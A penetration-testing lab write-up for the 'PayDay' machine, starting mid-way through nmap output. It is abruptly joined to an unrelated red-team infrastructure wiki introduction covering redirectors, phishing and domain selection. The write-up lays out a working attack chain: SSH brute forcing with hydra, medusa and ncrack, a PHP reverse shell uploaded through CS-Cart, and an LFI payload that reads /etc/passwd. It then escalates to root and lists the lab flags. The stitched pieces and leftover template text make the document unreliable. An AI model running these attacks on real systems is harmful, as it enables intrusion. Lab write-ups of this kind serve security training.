2021-07-10T22:06:10+00:00; +6s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 |_ SSL2_RC2_128_CBC_WITH_MD5 995/tcp open ssl/pop3s? | ssl-cert: Subject: commonName=ubuntu01/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX | Not valid before: 2008-04-25T02:02:48 |_Not valid after: 2008-05-25T02:02:48 |_ssl-date: 2021-07-10T22:06:10+00:00; +6s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 |_ SSL2_RC2_128_CBC_WITH_MD5 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 40m05s, deviation: 1h37m58s, median: 5s | smb-os-discovery: | OS: Unix (Samba 3.0.26a) | Computer name: payday | NetBIOS computer name: | Domain name: | FQDN: payday |_ System time: 2021-07-10T18:05:58-04:00 | smb-security-mode: | account_used: <blank> | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jul 10 18:06:07 2021 -- 1 IP address (1 host up) scanned in 27.11 seconds ``` ### Operating System ```bash victor@kali:~/oscp/pg/labs/payday$ cat scans/payday-nmap-os # Nmap 7.91 scan initiated Sat Jul 10 18:07:53 2021 as: nmap -O -oN scans/payday-nmap-os 192.168.142.39 Nmap scan report for 192.168.142.39 Host is up (0.076s latency). Not shown: 992 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 110/tcp open pop3 139/tcp open netbios-ssn 143/tcp open imap 445/tcp open microsoft-ds 993/tcp open imaps 995/tcp open pop3s No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.91%E=4%D=7/10%OT=22%CT=1%CU=34968%PV=Y%DS=2%DC=I%G=Y%TM=60EA1A4 OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=D5%GCD=1%ISR=EF%TI=Z%II=I%TS=7)SEQ(SP=EC% OS:GCD=1%ISR=EC%TI=Z%TS=7)OPS(O1=M506ST11NW5%O2=M506ST11NW5%O3=M506NNT11NW5 OS:%O4=M506ST11NW5%O5=M506ST11NW5%O6=M506ST11)WIN(W1=16A0%W2=16A0%W3=16A0%W OS:4=16A0%W5=16A0%W6=16A0)ECN(R=Y%DF=Y%T=40%W=16D0%O=M506NNSNW5%CC=N%Q=)T1( OS:R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=4 OS:0%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN OS:=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S) Network Distance: 2 hops OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat Jul 10 18:08:12 2021 -- 1 IP address (1 host up) scanned in 18.78 seconds ``` ## Enumeration The service enumeration portion of a penetration test focuses on gathering information about what services are alive on a system or systems. This is valuable for an attacker as it provides detailed information on potential attack vectors into a system. Understanding what applications are running on the system gives an attacker needed information before performing the actual penetration test. In some cases, some ports may not be listed. ### SSH ```bash hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.11.12.13 ``` ### HTTP Victor was able to discover the hidden directories below using Dirb. ```bash dirb http://$TARGET:80 /usr/share/wordlists/dirb/big.txt -z10 -o scans/$NAME-dirb-big-80 # output NSTR ``` Victor was able to discover the hidden directories below using Dirsearch. ```bash dirsearch -u $TARGET:$PORT -o $FULLPATH/$NAME-dirsearch-80 # replace the lines above with the actual scan results ``` Victor was able to identify the following HTTP server misconfigurations using Nikto. ```bash nikto -h $TARGET -p $PORT -T 2 -Format txt -o scans/$NAME-nikto-misconfig-80 # output NSTR ``` ### RPC ```bash rpcclient -U '' $TARGET ``` ``` srvinfo # output PAYDAY Wk Sv PrQ Unx NT SNT payday server (Samba, Ubuntu) platform_id : 500 os version : 4.9 server type : 0x809a03 ``` ```bash netshareenum # output NSTR ``` ### NetBIOS ```bash nbtscan $TARGET # output Doing NBT name scan for addresses from 192.168.142.39 IP address NetBIOS Name Server User MAC address ------------------------------------------------------------------------------ ``` ### SMB The following SMB shares were discovered using Smbclient. ```bash smbclient -L $TARGET # output Enter WORKGROUP\victor's password: Anonymous login successful Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers IPC$ IPC IPC Service (payday server (Samba, Ubuntu)) Reconnecting with SMB1 for workgroup listing. Anonymous login successful Server Comment --------- ------- Workgroup Master --------- ------- MSHOME ``` The SMB shares discovered have the following permissions. ```bash smbmap -H $TARGET # output [+] IP: 192.168.142.39:445 Name: 192.168.142.39 Disk Permissions Comment ---- ----------- ------- print$ NO ACCESS Printer Drivers IPC$ ``` ## Gaining Access The penetration testing portions of the assessment focus heavily on gaining access to a variety of systems. During this penetration test, Victor was able to successfully gain access to 10 out of the 50 systems. ### Password Guessing #### Default Credentials ```bash firefox http://$TARGET:$PORT # CS-Cart. Powerful PHP shopping cart software # admin:admin ``` ## Local File Inclusion ### EDB-ID-48891 ```bash mkdir edb-id-48891 cp /usr/share/webshells/php/php-reverse-shell.php ./rshell.phtml vim rshell.phtml # upload rshell as a skin firefox http://192.168.142.39/admin.php?target=template_editor sudo nc -nvlp 80 firefox http://192.168.142.39/skins/rshell.phtml cat /etc/passwd su patrick # patrick:patrick sudo -l sudo su cat /root/proof.txt ``` ### CVE-2016-5195 ```bash Linux Kernel 2.6.22 - IPv6 Hop-By-Hop Header Remote Denial of Service | linux/dos/30902.c Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation | linux/local/40616.c Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/pas | linux/local/40847.cpp Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method) | linux/local/40838.c Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/ | linux/local/40839.c Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method) | linux/local/40611.c ``` ## Maintaining Access Maintaining access to a system is important to us as attackers, ensuring that we can get back into a system after it has been exploited is invaluable. The maintaining access phase of the penetration test focuses on ensuring that once the focused attack has occurred (i.e. a buffer overflow), we have administrative access over the system again. Many exploits may only be exploitable once and we may never be able to get back into a system after we have already per-formed the exploit. Victor added administrator and root level accounts on all systems compromised. In addition to the administrative/root access, a Metasploit meterpreter service was installed on the machine to en-sure that additional access could be established. ## Covering Tracks The house cleaning portions of the assessment ensures that remnants of the penetration test are removed. Often fragments of tools or user accounts are left on an organizations computer which can cause security issues down the road. Ensuring that we are meticulous and no remnants of our penetration test are left over is important. After the trophies on both the lab network and exam network were completed, Victor removed all user accounts and passwords as well as the Meterpreter services installed on the system. Offensive Security should not have to remove any user accounts or services from the system. # Additional Items ## Tools Used * nmap * dirb * python * php-reverse-shell * sudo ## Hints * Look at what is running on port 80. Can you find the version? It is also worth brute-forcing directories. * There is an LFI present. You need to include an important file for vital information. Then, either guess or brute-force your way in. * Check your sudo permissions. ## Flags * local.txt = 446e3816f27462648d36f45fac7b2ab3 * proof.txt = b17f98f50c2e2c460f3d092a48559cd2 ## Official Walkthrough ```bash Exploitation Guide for PayDay Summary PayDay has an outdated version of CS Cart installed, which is vulnerable to a Local File Inclusion vulnerability. The LFI can be used to view the /etc/passwd file, which leaks an important username. The username can then be used to conduct a brute-force for the user’s password for the SSH service. Enumeration Nmap We start off by running an nmap scan: kali@kali:~$ sudo nmap -p- 192.168.120.85 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-24 13:39 EDT Nmap scan report for 192.168.120.85 Host is up (0.032s latency). Not shown: 65527 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 110/tcp open pop3 139/tcp open netbios-ssn 143/tcp open imap 445/tcp open microsoft-ds 993/tcp open imaps 995/tcp open pop3s Nmap done: 1 IP address (1 host up) scanned in 45.15 seconds kali@kali:~$ sudo nmap -A -sV -p 22,80,110,139,143,445,993,995 192.168.120.85 Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-24 13:41 EDT Nmap scan report for 192.168.120.85 Host is up (0.033s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.6p1 Debian 5build1 (protocol 2.0) | ssh-hostkey: | 1024 f3:6e:87:04:ea:2d:b3:60:ff:42:ad:26:67:17:94:d5 (DSA) |_ 2048 bb:03:ce:ed:13:f1:9a:9e:36:03:e2:af:ca:b2:35:04 (RSA) 80/tcp open http Apache httpd 2.2.4 ((Ubuntu) PHP/5.2.3-1ubuntu6) |_http-server-header: Apache/2.2.4 (Ubuntu) PHP/5.2.3-1ubuntu6 |_http-title: CS-Cart. Powerful PHP shopping cart software 110/tcp open pop3 Dovecot pop3d |_pop3-capabilities: PIPELINING STLS TOP SASL UIDL CAPA RESP-CODES |_ssl-date: 2020-03-24T17:41:53+00:00; +11s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_WITH_MD5 |_ SSL2_DES_192_EDE3_CBC_WITH_MD5 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: MSHOME) 143/tcp open imap Dovecot imapd |_imap-capabilities: IDLE LOGIN-REFERRALS SORT Capability MULTIAPPEND LITERAL+ SASL-IR OK NAMESPACE UNSELECT CHILDREN LOGINDISABLEDA0001 STARTTLS IMAP4rev1 completed THREAD=REFERENCES |_ssl-date: 2020-03-24T17:41:53+00:00; +11s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_WITH_MD5 |_ SSL2_DES_192_EDE3_CBC_WITH_MD5 445/tcp open netbios-ssn Samba smbd 3.0.26a (workgroup: MSHOME) 993/tcp open ssl/imaps? |_ssl-date: 2020-03-24T17:41:53+00:00; +11s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_WITH_MD5 |_ SSL2_DES_192_EDE3_CBC_WITH_MD5 995/tcp open ssl/pop3s? |_ssl-date: 2020-03-24T17:41:53+00:00; +11s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_RC2_128_CBC_WITH_MD5 |_ SSL2_DES_192_EDE3_CBC_WITH_MD5 Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: WAP|general purpose|switch|specialized|media device Running (JUST GUESSING): Linux 2.4.X|2.6.X (94%), AVM embedded (93%), Extreme Networks ExtremeXOS 12.X|15.X (93%), Google embedded (93%), HP embedded (93%), Philips embedded (93%) OS CPE: cpe:/o:linux:linux_kernel:2.4.20 cpe:/o:linux:linux_kernel:2.6.34 cpe:/h:avm:fritz%21box_fon_wlan_7170 cpe:/o:extremenetworks:extremexos:12.5.4 cpe:/o:extremenetworks:extremexos:15.3 cpe:/o:linux:linux_kernel:2.4.21 Aggressive OS guesses: Tomato 1.27 - 1.28 (Linux 2.4.20) (94%), DD-WRT v24-presp2 (Linux 2.6.34) (94%), Linux 2.6.22 (94%), Linux 2.6.18 - 2.6.22 (94%), AVM FRITZ!Box FON WLAN 7170 WAP (93%), Extreme Networks ExtremeXOS 12.5.4 (93%), Extreme Networks ExtremeXOS 15.3 (93%), Google Mini search appliance (93%), HP Brocade 4Gb SAN switch or (93%), Linux 2.4.20 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: |_clock-skew: mean: 40m10s, deviation: 1h37m58s, median: 10s |_nbstat: NetBIOS name: PAYDAY, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) | smb-os-discovery: | OS: Unix (Samba 3.0.26a) | Computer name: payday | NetBIOS computer name: | Domain name: | FQDN: payday |_ System time: 2020-03-24T13:41:40-04:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) |_smb2-time: Protocol negotiation failed (SMB2) TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 34.83 ms 192.168.118.1 2 35.63 ms 192.168.120.85 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 165.51 seconds Web Enumeration The web server is running a vulnerable version of CS-Cart application on port 80: kali@kali:~$ curl -s http://192.168.120.85/ | head <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>CS-Cart. Powerful PHP shopping cart software</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <meta name="description" content="The powerful shopping cart software for web stores and e-commerce enabled webstores is based on PHP / PHP4 with MySQL database with highly configurable implementation base on templates."> <meta name="keywords" content="cs-cart, cscart, shopping cart, cart, online shop software, e-shop, e-commerce, store, php, php4, mysql, web store, gift certificates, wish list, best sellers"> <link href="/skins/new_vision_blue/customer/styles.css" rel="stylesheet" type="text/css"> <link href="/skins/new_vision_blue/customer/js_menu/theme.css" type="text/css" rel="stylesheet"> kali@kali:~$ Looking up “CS-Cart” in EDB points to https://www.exploit-db.com/exploits/14962 as one of the entries that deals with the /install.php installation file. The entry states the following: If "install.php" was not removed after installation simply make an html file with the following code and replace <Victim Server> by the PATH to "install.php" example:"http://www.nonexistant.com/install.php": With this information, we can enumerate the version of the application to reveal version 1.3.6: kali@kali:~$ curl -s http://192.168.120.85/install.php | grep -i version <td valign="bottom"><p style="font-weight: bold; font-size: 11px;">Version:&nbsp;1.3.3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p></td> kali@kali:~$ Searchsploit reveals the “CS-Cart 1.3.3 - ‘classes_dir’ Remote File Inclusion” vulnerability: kali@kali:~$ searchsploit "cs-cart" ------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) ------------------------------------------------------------------------- ---------------------------------------- CS-Cart - Multiple SQL Injections | exploits/php/webapps/27030.txt CS-Cart 1.3.2 - 'index.php' Cross-Site Scripting | exploits/php/webapps/31443.txt CS-Cart 1.3.3 - 'classes_dir' Remote File Inclusion | exploits/php/webapps/1872.txt CS-Cart 1.3.3 - 'install.php' Cross-Site Scripting | exploits/multiple/webapps/14962.txt CS-Cart 1.3.5 - Authentication Bypass | exploits/php/webapps/6352.txt CS-Cart 2.0.0 Beta 3 - 'Product_ID' SQL Injection | exploits/php/webapps/8184.txt CS-Cart 2.0.5 - 'reward_points.post.php' SQL Injection | exploits/php/webapps/33146.txt CS-Cart 2.2.1 - 'products.php' SQL Injection | exploits/php/webapps/36093.txt CS-Cart 4.2.4 - Cross-Site Request Forgery | exploits/php/webapps/36358.html CS-Cart 4.3.10 - XML External Entity Injection | exploits/php/webapps/40770.txt ------------------------------------------------------------------------- ---------------------------------------- Shellcodes: No Result kali@kali:~$ file /usr/share/exploitdb/exploits/php/webapps/1872.txt /usr/share/exploitdb/exploits/php/webapps/1872.txt: ASCII text, with CRLF line terminators kali@kali:~$ Furthermore, dirb finds the /classes/ directory: kali@kali:~$ dirb http://192.168.120.85/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Wed Mar 25 08:35:38 2020 URL_BASE: http://192.168.120.85/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.120.85/ ---- ==> DIRECTORY: http://192.168.120.85/addons/ + http://192.168.120.85/admin (CODE:200|SIZE:9471) + http://192.168.120.85/admin.php (CODE:200|SIZE:9471) ==> DIRECTORY: http://192.168.120.85/catalog/ + http://192.168.120.85/cgi-bin/ (CODE:403|SIZE:308) + http://192.168.120.85/chart (CODE:200|SIZE:0) ==> DIRECTORY: http://192.168.120.85/classes/ + http://192.168.120.85/config (CODE:200|SIZE:13) ==> DIRECTORY: http://192.168.120.85/core/ + http://192.168.120.85/image (CODE:200|SIZE:1971) ==> DIRECTORY: http://192.168.120.85/images/ ==> DIRECTORY: http://192.168.120.85/include/ + http://192.168.120.85/index (CODE:200|SIZE:28074) + http://192.168.120.85/index.php (CODE:200|SIZE:28074) + http://192.168.120.85/init (CODE:200|SIZE:13) + http://192.168.120.85/install (CODE:200|SIZE:7731) ==> DIRECTORY: http://192.168.120.85/payments/ + http://192.168.120.85/prepare (CODE:200|SIZE:0) + http://192.168.120.85/server-status (CODE:403|SIZE:313) ==> DIRECTORY: http://192.168.120.85/skins/ + http://192.168.120.85/store_closed (CODE:200|SIZE:575) + http://192.168.120.85/Thumbs.db (CODE:200|SIZE:1) ==> DIRECTORY: http://192.168.120.85/var/ Looking into that directory (http://192.168.120.85/classes/fckeditor/_whatsnew.html), we see a version 2.2 of FCKeditor. FCKeditor (which later got renamed to CKEditor), is a common third party library that contains various vulnerabilities. This application is vulnerable to https://www.exploit-db.com/exploits/17644 (arbitrary file upload) and https://www.exploit-db.com/exploits/1964/ (remote code execution) with some alterations. kali@kali:~$ searchsploit fckeditor core ------------------------------------------------------------------------- ---------------------------------------- Exploit Title | Path | (/usr/share/exploitdb/) ------------------------------------------------------------------------- ---------------------------------------- FCKEditor Core - 'Editor 'spellchecker.php' Cross-Site Scripting | exploits/php/webapps/37457.html FCKEditor Core - 'FileManager test.html' Arbitrary File Upload (1) | exploits/php/webapps/12254.txt FCKEditor Core - 'FileManager test.html' Arbitrary File Upload (2) | exploits/php/webapps/17644.txt FCKEditor Core 2.x 2.4.3 - 'FileManager upload.php' Arbitrary File Uploa | exploits/php/webapps/15484.txt FCKEditor Core ASP 2.6.8 - Arbitrary File Upload Protection Bypass | exploits/asp/webapps/23005.txt ------------------------------------------------------------------------- ---------------------------------------- Shellcodes: No Result kali@kali:~$ file /usr/share/exploitdb/exploits/php/webapps/17644.txt /usr/share/exploitdb/exploits/php/webapps/17644.txt: ASCII text, with CRLF line terminators kali@kali:~$ Exploitation CS-Cart Local File Inclusion Vulnerability The vulnerability in question is https://www.exploit-db.com/exploits/1872/, and it can be exploited as follows: kali@kali:~$ curl 'http://192.168.120.85/classes/phpmailer/class.cs_phpmailer.php?classes_dir=/etc/passwd%00' root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/var/cache/man:/bin/sh lp:x:7:7:lp:/var/spool/lpd:/bin/sh mail:x:8:8:mail:/var/mail:/bin/sh news:x:9:9:news:/var/spool/news:/bin/sh uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh proxy:x:13:13:proxy:/bin:/bin/sh www-data:x:33:33:www-data:/var/www:/bin/sh backup:x:34:34:backup:/var/backups:/bin/sh list:x:38:38:Mailing List Manager:/var/list:/bin/sh irc:x:39:39:ircd:/var/run/ircd:/bin/sh gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh nobody:x:65534:65534:nobody:/nonexistent:/bin/sh dhcp:x:100:101::/nonexistent:/bin/false syslog:x:101:102::/home/syslog:/bin/false klog:x:102:103::/home/klog:/bin/false mysql:x:103:107:MySQL Server,,,:/var/lib/mysql:/bin/false dovecot:x:104:111:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false postfix:x:105:112::/var/spool/postfix:/bin/false sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin patrick:x:1000:1000:patrick,,,:/home/patrick:/bin/bash <br /> <b>Fatal error</b>: Class 'PHPMailer' not found in <b>/var/www/classes/phpmailer/class.cs_phpmailer.php</b> on line <b>6</b><br /> kali@kali:~$ Note that remote file inclusions will not work in this case. By using base64, we can read any file on the system (otherwise it would execute all *.php files). The improved proof of concept is as follows: kali@kali:~$ curl -s 'http://192.168.120.85/classes/phpmailer/class.cs_phpmailer.php?classes_dir=php://filter/read=convert.base64-encode/resource=/etc/php5/apache2/php.ini%00'| base64 -d 2>/dev/null [PHP] ;;;;;;;;;;; ; WARNING ; ;;;;;;;;;;; ; This is the default settings file for new PHP installations. ; By default, PHP installs itself with a configuration suitable for ; development purposes, and *NOT* for production purposes. ; For several security-oriented considerations that should be taken ; before going online with your site, please consult php.ini-recommended ; and http://php.net/manual/en/security.php. ;;;;;;;;;;;;;;;;;;; ; About php.ini ; ;;;;;;;;;;;;;;;;;;; ... Now we can see that allow_url_include is disabled, not allowing us to perform RFI attacks. From the retrieved passwd file, we will note the following user: patrick:x:1000:1000:patrick,,,:/home/patrick:/bin/bash SSH via Guessing We can guess the Patrick’s password to be patrick and simply SSH into the machine (alternatively the auxiliary metasploit module use auxiliary/scanner/ssh/ssh_login or Hydra can be used to brute-force the SSH authentication). kali@kali:~$ ssh [email protected] The authenticity of host '192.168.120.85 (192.168.120.85)' can't be established. RSA key fingerprint is SHA256:4cNPcDOXrXdUvuqlTmFzow0HNSvJ1pXoNPKTZViNTYA. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.120.85' (RSA) to the list of known hosts. [email protected]'s password: Linux payday 2.6.22-14-server #1 SMP Sun Oct 14 23:34:23 GMT 2007 i686 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. patrick@payday:~$ id uid=1000(patrick) gid=1000(patrick) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scanner),115(lpadmin),1000(patrick) patrick@payday:~$ kali@kali:~$ echo patrick > users.txt SSH Password Bruteforce Using Hydra kali@kali:~$ hydra -L users.txt -P users.txt -e nsr -q ssh://192.168.120.85 -t 4 -w 5 -f Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-25 09:00:39 [DATA] max 4 tasks per 1 server, overall 4 tasks, 4 login tries (l:1/p:4), ~1 try per task [DATA] attacking ssh://192.168.120.85:22/ [22][ssh] host: 192.168.120.85 login: patrick password: patrick 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-25 09:00:40 kali@kali:~$ SSH Password Bruteforce Using Medusa kali@kali:~$ medusa -h 192.168.120.85 -U users.txt -P users.txt -M ssh -e ns -f -g 5 -r 0 -b -t 2 -v 4 ACCOUNT FOUND: [ssh] Host: 192.168.120.85 User: patrick Password: patrick [SUCCESS] kali@kali:~$ SSH Password Bruteforce Using Ncrack kali@kali:~$ ncrack 192.168.120.85 -U users.txt -P users.txt -p ssh -f -v Starting Ncrack 0.7 ( http://ncrack.org ) at 2020-03-25 09:03 EDT Discovered credentials on ssh://192.168.120.85:22 'patrick' 'patrick' ssh://192.168.120.85:22 finished. Discovered credentials for ssh on 192.168.120.85 22/tcp: 192.168.120.85 22/tcp ssh: 'patrick' 'patrick' Ncrack done: 1 service scanned in 3.01 seconds. Probes sent: 1 | timed-out: 0 | prematurely-closed: 0 Ncrack finished. kali@kali:~$ Escalation Local Enumeration patrick@payday:~$ sudo -l We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things: #1) Respect the privacy of others. #2) Think before you type. #3) With great power comes great responsibility. [sudo] password for patrick: User patrick may run the following commands on this host: (ALL) ALL Sudo As the patrick user is permitted to run all commands, we can simply use “sudo su” to escalate to root. patrick@payday:~$ sudo su root@payday:/home/patrick# id uid=0(root) gid=0(root) groups=0(root) ```
This wiki is intended to provide a resource for setting up a resilient Red Team infrastructure. It was made to complement Steve Borosh ([@424f424f](https://twitter.com/424f424f)) and Jeff Dimmock's ([@bluscreenofjeff](https://twitter.com/bluscreenofjeff)) BSides NoVa 2017 talk "Doomsday Preppers: Fortifying Your Red Team Infrastructure" ([slides](https://speakerdeck.com/rvrsh3ll/doomsday-preppers-fortifying-your-red-team-infrastructure)) If you have an addition you'd like to make, please submit a Pull Request or file an issue on the repo. THANK YOU to all of the authors of the content referenced in this wiki and to all who [contributed](#thanks-to-contributors)! # Table of Contents - [Design Considerations](#design-considerations) - [Functional Segregation](#functional-segregation) - [Using Redirectors](#using-redirectors) - [Sample Design](#sample-design) - [Further Resources](#further-resources) - [Domains](#domains) - [Categorization and Blacklist Checking Resources](#categorization-and-blacklist-checking-resources) - [Phishing](#phishing-setup) - [Easy Web-Based Phishing](#easy-web-based-phishing) - [Cobalt Strike Phishing](#cobalt-strike-phishing) - [Phishing Frameworks](#phishing-frameworks) - [Redirectors](#redirectors) - [SMTP](#smtp) - [Sendmail](#sendmail) - [Remove previous server headers](#remove-previous-server-headers) - [Configure a catch-all address](#configure-a-catch-all-address) - [Postfix](#postfix) - [DNS](#dns) - [socat for DNS](#socat-for-dns) - [iptables for DNS](#iptables-for-dns) - [HTTP(S)](#https) - [socat vs mod_rewrite](#socat-vs-mod_rewrite) - [socat for HTTP](#socat-for-http) - [iptables for HTTP](#iptables-for-http) - [ssh for HTTP](#ssh-for-http) - [Payloads and Web Redirection](#payloads-and-web-redirection) - [C2 Redirection](#c2-redirection) - [C2 Redirection with HTTPS](#c2-redirection-with-https) - [Other Apache mod_rewrite Resources](#other-apache-mod_rewrite-resources) - [Modifying C2 Traffic](#modifying-c2-traffic) - [Cobalt Strike](#cobalt-strike) - [Empire](#empire) - [Third-Party C2 Channels](#third-party-c2-channels) - [Domain Fronting](#domain-fronting) - [Further Resources on Domain Fronting](#further-resources-on-domain-fronting) - [PaaS Redirectors](#paas-redirectors) - [Other Third-Party C2](#other-third-party-c2) - [Obscuring Infrastructure](#obscuring-infrastructure) - [Securing Infrastructure](#securing-infrastructure) - [Automating Deployments](#automating-deployments) - [General Tips](#general-tips) - [Thanks to Contributors](#thanks-to-contributors) # Design Considerations ## Functional Segregation When designing a red team infrastructure that needs to stand up to an active response or last for a long-term engagement (weeks, months, years), it’s important to segregate each asset based on function. This provides resilience and agility against the Blue Team when campaign assets start getting detected. For example, if an assessment’s phishing email is identified, the Red Team would only need to create a new SMTP server and payload hosting server, rather than a whole team server setup. Consider segregating these functions on different assets: * Phishing SMTP * Phishing payloads * Long-term command and control (C2) * Short-term C2 Each of these functions will likely be required for each social engineering campaign. Since active incident response is typical in a Red Team assessment, a new set of infrastructure should be implemented for each campaign. ## Using Redirectors To further resilience and concealment, every back-end asset (i.e. team server) should have a redirector placed in front of it. The goal is to always have a host between our target and our backend servers. Setting up the infrastructure in this manner makes rolling fresh infrastructure much quicker and easier - no need to stand up a new team server, migrate sessions, and reconnect non-burned assets on the backend. Common redirector types: * SMTP * Payloads * Web Traffic * C2 (HTTP(S), DNS, etc) Each redirector type has multiple implementation options that best fit different scenarios. These options are discussed in further detail in the [Redirectors](#redirectors) section of the wiki. Redirectors can be VPS hosts, dedicated servers, or even apps running on a Platform-as-a-Service instance. ## Sample Design Here is a sample design, keeping functional segregation and redirector usage in mind: ![Sample Infrastructure Setup](./images/sample-setup.png) ## Further Resources * [A Vision for Distributed Red Team Operations - Raphael Mudge (@armitagehacker)](https://blog.cobaltstrike.com/2013/02/12/a-vision-for-distributed-red-team-operations/) * [Infrastructure for Ongoing Red Team Operations - Raphael Mudge](https://blog.cobaltstrike.com/2014/09/09/infrastructure-for-ongoing-red-team-operations/) * [Advanced Threat Tactics (2 of 9): Infrastructure - Raphael Mudge](https://www.youtube.com/watch?v=3gBJOJb8Oi0) * [Cloud-based Redirectors for Distributed Hacking - Raphael Mudge](https://blog.cobaltstrike.com/2014/01/14/cloud-based-redirectors-for-distributed-hacking/) * [How to Build a C2 Infrastructure with Digital Ocean – Part 1 - Lee Kagan (@invokethreatguy)](https://www.blackhillsinfosec.com/build-c2-infrastructure-digital-ocean-part-1/) * [Automated Red Team Infrastructure Deployment with Terraform - Part 1 - Rasta Mouse (@_RastaMouse)](https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform---part-1/) # Domains Perceived domain reputation will vary greatly depending on the products your target is using, as well as their configuration. As such, choosing a domain that will work on your target is not an exact science. Open source intelligence gathering (OSINT) will be critical in helping make a best guess at the state of controls and which resources to check domains against. Luckily, online advertisers face the same problems and have created some solutions we can leverage. [expireddomains.net](http://expireddomains.net) is a search engine for recently expired or dropped domains. It provides search and advanced filtering, such as age of expiration, number of backlinks, number of Archive.org snapshots, [SimilarWeb](https://www.similarweb.com/) score. Using the site, we can register pre-used domains, which will come with domain age, that look similar to our target, look similar to our impersonation, or simply are likely to blend in on our target’s network. 